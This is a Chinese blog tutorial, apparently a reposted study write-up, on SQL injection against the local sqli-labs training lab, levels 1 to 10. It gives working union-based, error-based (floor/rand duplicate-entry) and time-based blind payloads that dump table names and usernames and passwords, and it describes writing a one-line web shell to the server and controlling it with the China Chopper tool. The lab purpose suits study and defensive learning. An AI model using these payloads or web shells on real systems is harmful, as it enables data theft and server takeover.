通过sql-labs进行sql注入学习(一)
SQL注入有很多方法,先接觸最簡單最直觀的一種——聯合查詢注入
聯合查詢注入原理
聯合查詢的前提是需要有顯示位,而顯示位就是通過用戶的查詢從數據庫中返回到頁面的數據,是可變化的。
例如:sql-labs前四關都是聯合查詢注入
sql-labs(一)
輸入id=1或id=2,都會返回數據,而且返回的數據不相同。
接下來就開始實戰,通過實戰來了解聯合查詢注入的步驟和方法。
一、判斷注入點
閉合符號一般是',",或無閉合符號或'),")
--+為注釋符號
在url框中輸入?id=2',發現
用--+將后面的字符注釋掉,發現
正常顯示,說明注入點是單引號。
二、判斷列數
發現
一共三列,接下來就開始聯合查詢。
這里將id等于一個數據庫不存在的數,通過聯合查詢能看出我們輸入的數據在哪里能夠顯示出來。
在2,3的位置我們便可插入我們想用的語句了。
三、爆數據庫
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,database(),3--+通過一個database()函數便可獲知當前數據庫。
四、爆數據表
在此之前,我們要知道在MySQL中有information_schema這個庫,該庫存放了所有數據庫的信息。
information_schema.columns包含所有表的字段
table_schema 數據庫名
table_name 表名
column_name 列名
information_schema.tables包含所有庫的表名
table_schema 數據庫名
table_name 表名
information_schema.schemata包含所有數據庫的名
schema_name 數據庫名
group_concat()函數功能:將group by產生的同一個分組中的值連接起來,返回一個字符串結果。
了解之后,才會更明白一些語句為何這樣那樣構造,接下來就開始查詢數據表。
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
五、爆字段
也可以
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
六、爆值
0x3a是:用來區分用戶名和密碼,不至于混淆。
這樣,用戶名和密碼就爆出來了。
sql-labs(二)
無閉合符號
sql-labs(三)
閉合符號為')
sql-labs(四)
閉合符號為")
其他步驟與第一關相同,這里就不闡述了。
接下來介紹第二種注入方式——報錯注入
報錯注入原理
報錯注入是基于沒有回顯數據,只有報錯語句的基礎上才使用,例如sql-labs的第五關。
這里即使id輸入正確,也只會顯示一個YOU are in…,但如果輸入錯誤的語句時,會出現報錯語句。
那思路來了,我們可以故意構造報錯語句,其中插入我們想要的語句,這樣即使報錯了,在語句中也含有我們想要的數據。
網上有很多常見的報錯注入語句,但是要理解原理,才能更好的使用這些語句。
一、Duplicate entry報錯
報錯注入的經典語句:
簡化語句:
union select 1,2,count(*) from information_schema.columns group by concat(version(),floor(rand(0)*2));–+在使用之前,我們要知道一些函數的作用
Count()計算總數
Concat()連接字符串
Floor()向下取整數
Rand()產生0~1的隨機數
rand(0)序列是011011
group by a 會根據a的規則對數據進行分組,而分組的時候,mysql會建立一個臨時空表進行分組
這里看了很多大佬的博客,搞清楚了Duplicate entry報錯的原理。
union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+
網上最常見的語句就是這個,但為何報錯?? 因為count(*)和floor(rand(0)*2)的位置問題嗎??,其實不是的,這里也就不饒彎子了。其實報錯的原因在與rand()函數在查詢的時候會執行了一次,而插入的時候又會執行一次,group by 創建的臨時表,第一次查詢是0,,因為是空表所以插入這條,而插入的時候rand()又執行了一次,再執行一次因為表中已經有數據1,那么新添加的數據相加變成2,這里相當已經執行了三次(但其實是二次),所以011011就又排到0了,到了第三次執行rand()是值為0,因為表中不存在所以要插入新的數據,這次插入rand()再次執行,所以插入的又是1.而表中已經存在1了此時插入因為重復出現同一個key,就會出現報錯 重復出現key。
所以這也是為何floor(rand(0)*2)報錯是有條件的,記錄必須3條以上的原因
這里我們覺得可以多去看看大佬的博客,他們寫的真的非常詳細,例如:
MYSQL報錯注入原理
sql注入之報錯注入
MYSQL常見注入原理
懂其原理,便可做題。
sql-labs(五)
首先判斷出單引號閉合
利用經典語句
一、爆出數據庫
這里要注意的是報錯語句會出現一個1,有時可能弄混淆,所以我們加上0x3a即:來隔開這個1。
報錯語句中又我們想要的信息,數據庫名,接下來就爆表名。
二、爆表名
爆出我們想要的表名
三、爆字段值
爆出了字段
四、爆值
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' Union select 1,count(*),concat((select username from users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+
這樣就爆出用戶名和密碼了。
sql-labs(六)
閉合符號為"
其它的步驟與sql-labs(五)相同,一步一步就可以爆出你想要的信息。
通過第七關學到了很多東西,菜刀的使用,而且學到一種注入方法。
![在這里插入圖片
首先就先首先菜刀的方法,這個賊過癮。。。
之前總看大佬的博客中有一句話,我都不知道是什么意思今天終于搞清楚了一些,就先用第七關來練習一下。
第一種方法-使用菜刀
一、判斷注入點
但這時的報錯語句已經統一規范成這樣了,所以只有挨個試。
試出來注入點為1'))
二、查列數
一共三列
三、構造一句話
注意這里將上傳文件路徑改為phpstudy的根目錄,其他目錄菜刀連接時會沒有權限。
將一句話文件上傳到根目錄后,開始動用菜刀,右鍵點擊添加。
地址填入你上傳文件的地址
后面的小框中填入一句話中構造的密碼
如:我構造的密碼為mi
點擊連接
這多過癮,比慢慢爆出數據庫過癮多了,這直接進入服務器了。
第二種方法-手工注入
只要判斷出了閉合符號,其他按照那些固定的語句來吧。
一、爆列
這個就不演示了,一共就三列。
二、爆表
去D盤的SQL目錄中查看文件
果然顯示出來了
三、爆字段
四、爆值
會發現這些語句都是固定不變的,變的只是一些注入方式而已,所以懂得原理很重要。
sql-labs(八)
與第七關不同的就是沒有了報錯提醒
閉合符號為:'
利用一句話和第七關相同。
手工注入的話和第七關的方法相同,這里就不演示了
接下來就要學習一種新的注入方式,時間延時盲注,具體通過第九關來看。
sql-labs(九)
在第九關中,無論我們怎么判斷閉合符號,其顯示的只是
因此我們需要換一種方式來查看到底那個是閉合符號
發現確實延遲了10秒,所以判斷'為閉合符號。
再使用延時注入前,需要知道幾個時間注入的函數
sleep() //延遲函數
if(condition,true,false) //條件語句
ascii() //轉換成ascii碼
substr(“string”,strart,length) //取出字符串里的第幾位開始,長度多少的字符
判斷數據庫名長度
?id=1' and if(length(database())>1,sleep(4),0) --+爆出數據庫名
?id=1'and if(ascii(substr(database(),1,1))>M,sleep(5),0) --+原理很明顯,提取數據庫中的第一個字符,轉化為ascll碼,然后和M相比較,如果大于則睡5秒,否則不睡,這樣就可以判斷出第一個字符。通過改變substr函數后面的兩個變量和M,我們就可以對數據庫名進行猜解。
不建議手工注入,效率會很低,寫一個python腳本跑一下就可以爆出來,目前自己還在學習python,等學完之后再寫一個盲注的腳本,直接用別人的總感覺不太好。**sql-labs(十)**大致也是基于時間盲注的原理,只不過閉合符號不同罷了,就先學習到這里。
總結
以上是生活随笔為你收集整理的通过sql-labs进行sql注入学习(一)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 简易的bbs论坛开发过程上(后台开发)
- 下一篇: Bugku—MISC题总结